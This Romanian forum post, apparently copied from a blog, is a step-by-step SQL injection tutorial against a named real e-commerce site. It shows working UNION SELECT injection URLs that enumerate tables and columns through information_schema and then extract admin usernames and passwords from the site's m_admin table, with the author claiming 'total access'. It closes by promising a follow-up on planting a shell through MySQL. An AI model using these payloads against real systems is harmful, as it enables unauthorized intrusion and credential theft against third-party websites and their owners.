PaiNModerator
Postari: 28
|
|
Dupa cum cred ca deja stiti pentru gestionarea bazelor de date exista mai multe ODBC-uri pentru gestionarea si conectarea la o baza de date. In acest tutorial voi prezenta Tehnica de exploatarea ODBC-ului MySql.
Cred ca toti va intrebati de ce apare o astfel de eroare, ei bine daca un parametru nu este bine filtrat atunci interogarea la baza de date devine alta, voi da un exemplu apoi vom trece la exploatarea pe un site. Sa zicem ca un user face urmatoarea interograre :SELECT FROM membri WHERE nume='$name' , un raufacator sa zicem ar putea cere un anumit username pentru variabial $name SELECT FROM membri WHERE nume='n00b', insa daca codul php ar fi scris gresit neavand filtre daca ar mai aduga un ' dupa interogare aceasta ar deveni una incorecta SELECT FROM membri WHERE nume='n00b'' , in asa fel incat baza de date sa genereze o eroare iar raufacatorul de exemplu sa adaoge un mic cod sql care sa schimbe total aceasta interogare 'OR nume='admin', astfel interogarea va selecta fie userul cerut fi adminul, dar findca este acel ' care impiedica ca interogarea sa fie corecta raufacatorul va selecta adminul.
Acum vom testa vulnerabilitatea pe un exemplu concret : http://marnic.com/productdetail.php?id=164.
Pentru a testa daca este vulnerabil acest site dupa 164 punem ' .
| Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/sites/marnic.com/public_html/productdetail.php on line 17 |
Acum urmeaza sa cautam campurile tabelului in care ne aflam, si baza de date in care facem noi interogarile: Campurile se pot afla prin mai multe metode eu o sa va ofer doar una usoara prin comanda ORDER BY specifica limbajului SQL. Url-ul nostru devenind
daca va genera o eroare atunci insemna ca numarul de coloane este mai mic decat numarul 100 , apoi incercati cu numere mai mici 10 , 20 , astfel in cazul nostru numaratoarea se opreste la 29.
Poate va intrebati ce e cu acele "--" sau "+" , cele doua liniute -- inchid interogarea iar acele + sunt pentru a nu aparea %20 astfel codul din url devenind greu de citit.
Dupa ce am aflat numarul de campuri care este in numar de 29(http://marnic.com/productdetail.php?id=164 order+by+29 --) trebuie sa aflam ce e cu "viata lor". Astfel folosim instructiunile SQL : SELECT si UNION. astfel totul transformandu-se in :
| http://marnic.com/productdetail.php?id=164%20union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- |
Problema este ca nu se vad campurile vulnerabile, astfel de unde stim noi ceea ce interogam in acest caz este usor plasam un "-" in fata numarului 164 si totul se schimba in favoarea noastra.
acum sa aflam cate ceva despre veriune, user, baza de date :
database()- baza de date curenta
user()-userul
verison()-versiunea mysql
Acum sa trecem la cautarea numelor de tabel, fiindca este versiunea >4 a mysql-ului putem folosi information_sechma atat pentru tabele cat si pentru coloane.
Exista 2 cai de afalare a numelor de tabele cea de concatenare a tuturor numelor de tablele sau manual cu functia limit sql. Acum url-ul nostru devine :
| http://marnic.com/productdetail.php?id=-164%20union+all+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from information_schema.tables limit 1,1-- |
Aceasta metoda este costisitoare asa ca folosim functia group_concat() ca sa concatenam toate numele de tabele.
| http://marnic.com/productdetail.php?id=-164%20union+all+select+1,group_concat%28table_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20information_schema.tables%20-- |
Lista tuturor tabelelor :
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,
COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,
SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,
USER_PRIVILEGES,VIEWS,m_admin,m_banned_ips,m_category,m_count,m_page_ranks,m_pages,
m_product_ranks,m_products,m_products_viewe |
Pentru aflarea colonelor se procedeaza identic doar ca in loc de table_name se pune column_name , information_schema.columns
| http://marnic.com/productdetail.php?id=-164%20union+all+select+1,group_concat%28column_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20information_schema.columns%20-- |
Daca doriti sa aflati coloanele unui anumit table trebuie sa folositi Clauza WHERE exemplu :
| http://marnic.com/productdetail.php?id=-164%20union+all+select+1,group_concat%28column_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20information_schema.columns%20where%20table_name=%22m_admin%22-- |
Acum o interogare finala :
| http://marnic.com/productdetail.php?id=-164%20union+all+select+1,group_concat%28username,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20m_admin-- |
Dupa cum observati am extras adminul si parola, acum avem acces total.
Astept comenturi si intrabari, va urma un articold efinisare a acestuia in care voi prezenta scurtaturi , mai multe tehnici , cum punem un shell prin mysqli, asa ca fiti cu ochii pe blog.
Source : http://r3vik.info/
|
|